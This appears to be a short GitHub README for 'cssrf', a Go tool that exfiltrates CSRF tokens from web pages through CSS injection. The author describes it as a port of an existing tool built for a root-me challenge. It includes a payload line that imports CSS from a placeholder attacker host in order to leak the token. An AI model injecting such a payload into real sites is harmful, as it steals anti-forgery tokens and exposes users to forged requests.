ariary / cssrf

Ease CSS exfiltration

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

cssrf


Extract juicy information using CSS injection
especially csrf token 🥜

Basically the same thing as https://github.com/d0nutptr/sic but in Golang
I try my best to change the rust code but I lost so many time

Show me!

All you need is launch cssrf:

cssrf [flags] # nothing crazy => cssrf -h to get flags info

Inject the malicious css:

<!-- in <style> tag -->
@import url("https://[ATTACKER_URL]/malicious.css");

And wait:

demo

This help me solving a root-me challenge

Posting solution is forbidden, thus the csrf token is not integer

About

Ease CSS exfiltration


Languages

Language:Go 73.5%Language:Shell 20.1%Language:CSS 6.5%